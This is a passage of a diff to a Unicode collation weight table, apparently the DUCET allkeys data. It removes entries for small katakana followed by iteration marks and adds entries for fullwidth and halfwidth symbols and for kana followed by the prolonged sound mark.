-31F1 30FD ; [.3BCF.0020.000F][.3BCF.0020.0010.0002] # <KATAKANA LETTER SMALL SI, KATAKANA ITERATION MARK>
-31F1 30FE ; [.3BCF.0020.000F][.3BCF.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL SI, KATAKANA VOICED ITERATION MARK>
-31F2 30FD ; [.3BD0.0020.000F][.3BD0.0020.0010.0002] # <KATAKANA LETTER SMALL SU, KATAKANA ITERATION MARK>
-31F2 30FE ; [.3BD0.0020.000F][.3BD0.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL SU, KATAKANA VOICED ITERATION MARK>
-31F3 30FD ; [.3BD7.0020.000F][.3BD7.0020.0010.0002] # <KATAKANA LETTER SMALL TO, KATAKANA ITERATION MARK>
-31F3 30FE ; [.3BD7.0020.000F][.3BD7.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL TO, KATAKANA VOICED ITERATION MARK>
-31F4 30FD ; [.3BDA.0020.000F][.3BDA.0020.0010.0002] # <KATAKANA LETTER SMALL NU, KATAKANA ITERATION MARK>
-31F5 30FD ; [.3BDD.0020.000F][.3BDD.0020.0010.0002] # <KATAKANA LETTER SMALL HA, KATAKANA ITERATION MARK>
-31F5 30FE ; [.3BDD.0020.000F][.3BDD.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL HA, KATAKANA VOICED ITERATION MARK>
-31F6 30FD ; [.3BDE.0020.000F][.3BDE.0020.0010.0002] # <KATAKANA LETTER SMALL HI, KATAKANA ITERATION MARK>
-31F6 30FE ; [.3BDE.0020.000F][.3BDE.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL HI, KATAKANA VOICED ITERATION MARK>
-31F7 30FD ; [.3BDF.0020.000F][.3BDF.0020.0010.0002] # <KATAKANA LETTER SMALL HU, KATAKANA ITERATION MARK>
-31F7 30FE ; [.3BDF.0020.000F][.3BDF.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL HU, KATAKANA VOICED ITERATION MARK>
-31F8 30FD ; [.3BE0.0020.000F][.3BE0.0020.0010.0002] # <KATAKANA LETTER SMALL HE, KATAKANA ITERATION MARK>
-31F8 30FE ; [.3BE0.0020.000F][.3BE0.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL HE, KATAKANA VOICED ITERATION MARK>
-31F9 30FD ; [.3BE1.0020.000F][.3BE1.0020.0010.0002] # <KATAKANA LETTER SMALL HO, KATAKANA ITERATION MARK>
-31F9 30FE ; [.3BE1.0020.000F][.3BE1.0020.0010.0002][.0000.0037.0002] # <KATAKANA LETTER SMALL HO, KATAKANA VOICED ITERATION MARK>
-31FA 30FD ; [.3BE4.0020.000F][.3BE4.0020.0010.0002] # <KATAKANA LETTER SMALL MU, KATAKANA ITERATION MARK>
-31FB 30FD ; [.3BEB.0020.000F][.3BEB.0020.0010.0002] # <KATAKANA LETTER SMALL RA, KATAKANA ITERATION MARK>
-31FC 30FD ; [.3BEC.0020.000F][.3BEC.0020.0010.0002] # <KATAKANA LETTER SMALL RI, KATAKANA ITERATION MARK>
-31FD 30FD ; [.3BED.0020.000F][.3BED.0020.0010.0002] # <KATAKANA LETTER SMALL RU, KATAKANA ITERATION MARK>
-31FE 30FD ; [.3BEE.0020.000F][.3BEE.0020.0010.0002] # <KATAKANA LETTER SMALL RE, KATAKANA ITERATION MARK>
-31FF 30FD ; [.3BEF.0020.000F][.3BEF.0020.0010.0002] # <KATAKANA LETTER SMALL RO, KATAKANA ITERATION MARK>
+FFE4      ; [*061F.0020.0002] # FULLWIDTH BROKEN BAR
+FFE5      ; [.1C14.0020.0002] # FULLWIDTH YEN SIGN
+FFE6      ; [.1C27.0020.0002] # FULLWIDTH WON SIGN
+FFE8      ; [*081A.0020.0002] # HALFWIDTH FORMS LIGHT VERTICAL
+FFE9      ; [*059C.0020.0002] # HALFWIDTH LEFTWARDS ARROW
+FFEA      ; [*059E.0020.0002] # HALFWIDTH UPWARDS ARROW
+FFEB      ; [*059D.0020.0002] # HALFWIDTH RIGHTWARDS ARROW
+FFEC      ; [*059F.0020.0002] # HALFWIDTH DOWNWARDS ARROW
+FFED      ; [*08B8.0020.0002] # HALFWIDTH BLACK SQUARE
+FFEE      ; [*08E3.0020.0002] # HALFWIDTH WHITE CIRCLE
+30A1 30FC ; [.3D5A.0020.000F.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER SMALL A, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF67 30FC ; [.3D5A.0020.000F.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL A, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF67 FF70 ; [.3D5A.0020.000F.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL A, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3041 30FC ; [.3D5A.0020.000F.0001][.3D5A.0020.0007.0002] # <HIRAGANA LETTER SMALL A, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30A2 30FC ; [.3D5A.0020.0011.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER A, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF71 30FC ; [.3D5A.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER A, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF71 FF70 ; [.3D5A.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER A, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3042 30FC ; [.3D5A.0020.0011.0001][.3D5A.0020.0007.0002] # <HIRAGANA LETTER A, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30AB 30FC ; [.3D60.0020.0011.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER KA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF76 30FC ; [.3D60.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF76 FF70 ; [.3D60.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+304B 30FC ; [.3D60.0020.0011.0001][.3D5A.0020.0007.0002] # <HIRAGANA LETTER KA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30AC 30FC ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER GA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30AB 3099 30FC ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER KA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF76 FF9E 30FC ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF76 FF9E FF70 ; [.3D60.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KA, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+304C 30FC ; [.3D60.0020.0011.0001][.0000.0037.0002][.3D5A.0020.0007.0002] # <HIRAGANA LETTER GA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+304B 3099 30FC ; [.3D60.0020.0011.0001][.0000.0037.0002][.3D5A.0020.0007.0002] # <HIRAGANA LETTER KA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30B5 30FC ; [.3D65.0020.0011.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER SA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7B 30FC ; [.3D65.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7B FF70 ; [.3D65.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3055 30FC ; [.3D65.0020.0011.0001][.3D5A.0020.0007.0002] # <HIRAGANA LETTER SA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30B6 30FC ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER ZA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30B5 3099 30FC ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER SA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7B FF9E 30FC ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7B FF9E FF70 ; [.3D65.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SA, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3056 30FC ; [.3D65.0020.0011.0001][.0000.0037.0002][.3D5A.0020.0007.0002] # <HIRAGANA LETTER ZA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3055 3099 30FC ; [.3D65.0020.0011.0001][.0000.0037.0002][.3D5A.0020.0007.0002] # <HIRAGANA LETTER SA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30BF 30FC ; [.3D6A.0020.0011.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER TA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF80 30FC ; [.3D6A.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF80 FF70 ; [.3D6A.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+305F 30FC ; [.3D6A.0020.0011.0001][.3D5A.0020.0007.0002] # <HIRAGANA LETTER TA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30C0 30FC ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER DA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30BF 3099 30FC ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER TA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF80 FF9E 30FC ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF80 FF9E FF70 ; [.3D6A.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TA, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3060 30FC ; [.3D6A.0020.0011.0001][.0000.0037.0002][.3D5A.0020.0007.0002] # <HIRAGANA LETTER DA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+305F 3099 30FC ; [.3D6A.0020.0011.0001][.0000.0037.0002][.3D5A.0020.0007.0002] # <HIRAGANA LETTER TA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30CA 30FC ; [.3D6F.0020.0011.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER NA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF85 30FC ; [.3D6F.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF85 FF70 ; [.3D6F.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER NA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+306A 30FC ; [.3D6F.0020.0011.0001][.3D5A.0020.0007.0002] # <HIRAGANA LETTER NA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30CF 30FC ; [.3D74.0020.0011.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER HA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8A 30FC ; [.3D74.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8A FF70 ; [.3D74.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+306F 30FC ; [.3D74.0020.0011.0001][.3D5A.0020.0007.0002] # <HIRAGANA LETTER HA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30D0 30FC ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER BA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30CF 3099 30FC ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER HA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8A FF9E 30FC ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8A FF9E FF70 ; [.3D74.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HA, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3070 30FC ; [.3D74.0020.0011.0001][.0000.0037.0002][.3D5A.0020.0007.0002] # <HIRAGANA LETTER BA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+306F 3099 30FC ; [.3D74.0020.0011.0001][.0000.0037.0002][.3D5A.0020.0007.0002] # <HIRAGANA LETTER HA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30D1 30FC ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER PA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30CF 309A 30FC ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER HA, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8A FF9F 30FC ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HA, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8A FF9F FF70 ; [.3D74.0020.0011.0002][.0000.0038.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER HA, HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3071 30FC ; [.3D74.0020.0011.0001][.0000.0038.0002][.3D5A.0020.0007.0002] # <HIRAGANA LETTER PA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+306F 309A 30FC ; [.3D74.0020.0011.0001][.0000.0038.0002][.3D5A.0020.0007.0002] # <HIRAGANA LETTER HA, COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30DE 30FC ; [.3D79.0020.0011.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER MA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8F 30FC ; [.3D79.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER MA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF8F FF70 ; [.3D79.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER MA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+307E 30FC ; [.3D79.0020.0011.0001][.3D5A.0020.0007.0002] # <HIRAGANA LETTER MA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30E3 30FC ; [.3D7E.0020.000F.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER SMALL YA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF6C 30FC ; [.3D7E.0020.000F.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL YA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF6C FF70 ; [.3D7E.0020.000F.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL YA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3083 30FC ; [.3D7E.0020.000F.0001][.3D5A.0020.0007.0002] # <HIRAGANA LETTER SMALL YA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30E4 30FC ; [.3D7E.0020.0011.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER YA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF94 30FC ; [.3D7E.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER YA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF94 FF70 ; [.3D7E.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER YA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3084 30FC ; [.3D7E.0020.0011.0001][.3D5A.0020.0007.0002] # <HIRAGANA LETTER YA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30E9 30FC ; [.3D82.0020.0011.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER RA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF97 30FC ; [.3D82.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF97 FF70 ; [.3D82.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER RA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3089 30FC ; [.3D82.0020.0011.0001][.3D5A.0020.0007.0002] # <HIRAGANA LETTER RA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30EE 30FC ; [.3D87.0020.000F.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER SMALL WA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+308E 30FC ; [.3D87.0020.000F.0001][.3D5A.0020.0007.0002] # <HIRAGANA LETTER SMALL WA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30EF 30FC ; [.3D87.0020.0011.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER WA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF9C 30FC ; [.3D87.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER WA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF9C FF70 ; [.3D87.0020.0011.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER WA, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+308F 30FC ; [.3D87.0020.0011.0001][.3D5A.0020.0007.0002] # <HIRAGANA LETTER WA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30F7 30FC ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER VA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30EF 3099 30FC ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER WA, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF9C FF9E 30FC ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER WA, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF9C FF9E FF70 ; [.3D87.0020.0011.0002][.0000.0037.0002][.3D5A.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER WA, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30F5 30FC ; [.3D60.0020.000F.0002][.3D5A.0020.0007.0002] # <KATAKANA LETTER SMALL KA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3095 30FC ; [.3D60.0020.000F.0001][.3D5A.0020.0007.0002] # <HIRAGANA LETTER SMALL KA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+31F5 30FC ; [.3D74.0020.000F][.3D5A.0020.0007.0002] # <KATAKANA LETTER SMALL HA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+31FB 30FC ; [.3D82.0020.000F][.3D5A.0020.0007.0002] # <KATAKANA LETTER SMALL RA, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30A3 30FC ; [.3D5B.0020.000F.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER SMALL I, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF68 30FC ; [.3D5B.0020.000F.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL I, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF68 FF70 ; [.3D5B.0020.000F.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SMALL I, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3043 30FC ; [.3D5B.0020.000F.0001][.3D5B.0020.0007.0002] # <HIRAGANA LETTER SMALL I, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30A4 30FC ; [.3D5B.0020.0011.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER I, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF72 30FC ; [.3D5B.0020.0011.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER I, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF72 FF70 ; [.3D5B.0020.0011.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER I, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3044 30FC ; [.3D5B.0020.0011.0001][.3D5B.0020.0007.0002] # <HIRAGANA LETTER I, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30AD 30FC ; [.3D61.0020.0011.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER KI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF77 30FC ; [.3D61.0020.0011.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF77 FF70 ; [.3D61.0020.0011.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KI, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+304D 30FC ; [.3D61.0020.0011.0001][.3D5B.0020.0007.0002] # <HIRAGANA LETTER KI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30AE 30FC ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER GI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30AD 3099 30FC ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER KI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF77 FF9E 30FC ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF77 FF9E FF70 ; [.3D61.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER KI, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+304E 30FC ; [.3D61.0020.0011.0001][.0000.0037.0002][.3D5B.0020.0007.0002] # <HIRAGANA LETTER GI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+304D 3099 30FC ; [.3D61.0020.0011.0001][.0000.0037.0002][.3D5B.0020.0007.0002] # <HIRAGANA LETTER KI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30B7 30FC ; [.3D66.0020.0011.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER SI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7C 30FC ; [.3D66.0020.0011.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7C FF70 ; [.3D66.0020.0011.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SI, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3057 30FC ; [.3D66.0020.0011.0001][.3D5B.0020.0007.0002] # <HIRAGANA LETTER SI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30B8 30FC ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER ZI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30B7 3099 30FC ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER SI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7C FF9E 30FC ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF7C FF9E FF70 ; [.3D66.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER SI, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3058 30FC ; [.3D66.0020.0011.0001][.0000.0037.0002][.3D5B.0020.0007.0002] # <HIRAGANA LETTER ZI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3057 3099 30FC ; [.3D66.0020.0011.0001][.0000.0037.0002][.3D5B.0020.0007.0002] # <HIRAGANA LETTER SI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30C1 30FC ; [.3D6B.0020.0011.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER TI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF81 30FC ; [.3D6B.0020.0011.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF81 FF70 ; [.3D6B.0020.0011.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TI, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+3061 30FC ; [.3D6B.0020.0011.0001][.3D5B.0020.0007.0002] # <HIRAGANA LETTER TI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30C2 30FC ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER DI, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+30C1 3099 30FC ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # <KATAKANA LETTER TI, COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF81 FF9E 30FC ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TI, HALFWIDTH KATAKANA VOICED SOUND MARK, KATAKANA-HIRAGANA PROLONGED SOUND MARK>
+FF81 FF9E FF70 ; [.3D6B.0020.0011.0002][.0000.0037.0002][.3D5B.0020.0007.0002] # <HALFWIDTH KATAKANA LETTER TI, HALFWIDTH KATAKANA VOICED SOUND MARK, HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK>
